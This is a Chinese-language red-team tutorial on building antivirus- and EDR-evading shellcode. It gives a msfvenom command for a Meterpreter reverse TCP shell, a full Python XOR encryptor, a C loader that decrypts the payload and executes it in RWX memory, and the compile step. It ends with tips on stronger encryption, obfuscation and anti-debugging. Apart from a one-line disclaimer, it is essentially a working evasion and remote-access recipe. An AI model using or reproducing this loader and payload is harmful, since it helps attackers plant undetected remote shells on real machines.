0x01 从防御角度反推攻击方法

在现代的安全对抗中,EDR(Endpoint Detection and Response)产品成为了蓝队的强大武器。它们通过行为分析、静态签名检测、内存扫描等手段,对恶意载荷进行拦截,阻断攻击链的关键环节。尤其是对 shellcode 的检测,已经形成了一套较为成熟的机制,如扫描内存中的可疑代码段、分析 API 调用行为等。

但从攻击者的视角来看,防御措施越强,只会激发更精妙的攻击技术。如何让 shellcode 在防御体系中“隐形”而不被检测,是红队绕过 EDR/AV 的核心领域之一。今天的主题就是如何通过加密和动态解密技术,制作免杀 shellcode,并结合实际案例,演示这种技术如何在攻防中占据上风。

本文将展示如何使用 Python 和 C 编写一个加密 shellcode 的工具,并通过在内存中动态解密执行的方式实现免杀。所有内容仅用于合法授权的安全测试,请勿用于非法用途。

---

0x02 免杀技术的核心思路

黑客示意图

要让 shellcode 免杀,核心技巧在于绕过静态和动态检测。以下是各环节的关键点:

  1. 静态检测对抗
  2. 大部分安全产品会根据 shellcode 的二进制特征或恶意字符串进行扫描。通过加密,可以有效隐藏原始的 payload,使得静态检测无从下手。

  1. 动态检测对抗
  2. EDR 还会监控内存行为,比如调用 VirtualAlloc, WriteProcessMemory 等函数时的参数,以及代码执行情况。通过在内存中动态解密,结合一些花指令和非传统 API 调用,可以进一步规避动态分析。

  1. 流量分析规避
  2. 如果是通过网络下发 shellcode,还需注意流量的规避问题,比如使用 HTTPS 加密、协议混淆等。

本次的重点是加密和内存解密实现,确保生成的 shellcode 能在内存扫描时“伪装”成无害数据。流量规避和其他对抗技术将在后续文章中探讨。

---

黑客示意图

0x03 环境搭建与工具准备

我们需要以下工具和环境以完成实战:

  1. 攻击机:Kali Linux,安装 Python3、MinGW 编译工具;
  2. 目标机:Windows 10(安装有 EDR/杀毒软件);
  3. 辅助工具
  • msfvenom:生成原始 shellcode;
  • Python:用于加密 shellcode;
  • C:编写解密和执行逻辑;
  • scdbgx64dbg:用于验证和调试生成的 payload。

环境准备完成后,先用 msfvenom 生成一个基础的 shellcode:

<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin</code></pre>

这会生成一个未加密的原始 shellcode,接下来我们将为它“包装”免杀外衣。

---

黑客示意图

0x04 动手制作免杀 Shellcode

1. 加密 shellcode

我们用 Python 编写一个简单的加密工具,采用 XOR 加密方式。虽然 XOR 算法并不复杂,但由于加密后的内容完全不同于原始 shellcode,已经能够绕过许多静态检测。

以下是完整的加密代码:

<pre><code class="language-python">import sys

读取 shellcode 文件

def read_shellcode(file_path): with open(file_path, &quot;rb&quot;) as f: return f.read()

XOR 加密

def xor_encrypt(shellcode, key): return bytes([b ^ key for b in shellcode])

保存加密后的 shellcode

def save_encrypted_shellcode(file_path, encrypted_shellcode): with open(file_path, &quot;wb&quot;) as f: f.write(encrypted_shellcode)

if __name__ == &quot;__main__&quot;: if len(sys.argv) != 4: print(&quot;使用方法: python3 encryptor.py &lt;原始shellcode&gt; &lt;加密后文件&gt; &lt;密钥&gt;&quot;) sys.exit(1)

shellcode = read_shellcode(sys.argv[1]) key = int(sys.argv[3]) # XOR 密钥为整数 encrypted_shellcode = xor_encrypt(shellcode, key) save_encrypted_shellcode(sys.argv[2], encrypted_shellcode)

print(f&quot;加密完成,保存到: {sys.argv[2]},密钥: {key}&quot;)</code></pre>

运行加密脚本,将原始的 shellcode.bin 转换为加密后的版本:

<pre><code class="language-bash">python3 encryptor.py shellcode.bin encrypted_shellcode.bin 42</code></pre>

2. 编写解密与执行逻辑

接下来,在目标主机上运行的 payload 需要能解密 shellcode,并动态加载到内存中执行。以下是用 C 编写的代码:

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;windows.h&gt;

// XOR 解密函数 void xor_decrypt(unsigned char* data, int data_len, unsigned char key) { for (int i = 0; i &lt; data_len; i++) { data[i] ^= key; } }

// 模拟加载加密的 shellcode unsigned char encrypted_shellcode[] = {/ 在这里填入加密后的 shellcode /}; int encrypted_shellcode_len = sizeof(encrypted_shellcode);

int main() { // 动态申请内存 void* exec_mem = VirtualAlloc(0, encrypted_shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 解密 shellcode xor_decrypt(encrypted_shellcode, encrypted_shellcode_len, 42); // 使用相同密钥解密 printf(&quot;[*] Shellcode 解密完成\n&quot;);

// 将解密后的 shellcode 写入内存 memcpy(exec_mem, encrypted_shellcode, encrypted_shellcode_len); printf(&quot;[*] Shellcode 写入内存成功\n&quot;);

// 执行 shellcode ((void(*)())exec_mem)(); return 0; }</code></pre>

将加密后的内容填入 encrypted_shellcode 数组,然后用 MinGW 编译:

<pre><code class="language-bash">x86_64-w64-mingw32-gcc -o loader.exe loader.c</code></pre>

---

0x05 检测与对抗

1. 验证免杀效果

将生成的 loader.exe 上传到目标机,运行后观察是否能成功回连。通常情况下,杀毒软件不会对加密后的 shellcode 识别为恶意内容,而动态解密和执行则难以被常规的行为规则捕捉。

2. 对抗提升建议

  • 加密算法多样化:XOR 仅仅是入门,实际攻击中可以使用 AES 或自定义加密算法;
  • 混淆解密代码:防止静态分析找到解密逻辑;
  • 反调试技术:增强对抗能力,比如检测调试器、虚拟机等。

---

0x06 红队经验总结

免杀 shellcode 的制作并非一蹴而就,需要不断调整和试验以应对主流安全产品的检测。关键在于三点:加密(隐藏特征)、内存加载(绕过文件扫描)、动态执行(规避行为检测)。攻击者应始终关注最新的对抗技术,而防御者则需要更灵活的检测策略。

在对抗路上,攻防永无止境。希望你能从今天的文章中学到一些新的技巧,也期待你能用这些技术打造更强的防御体系。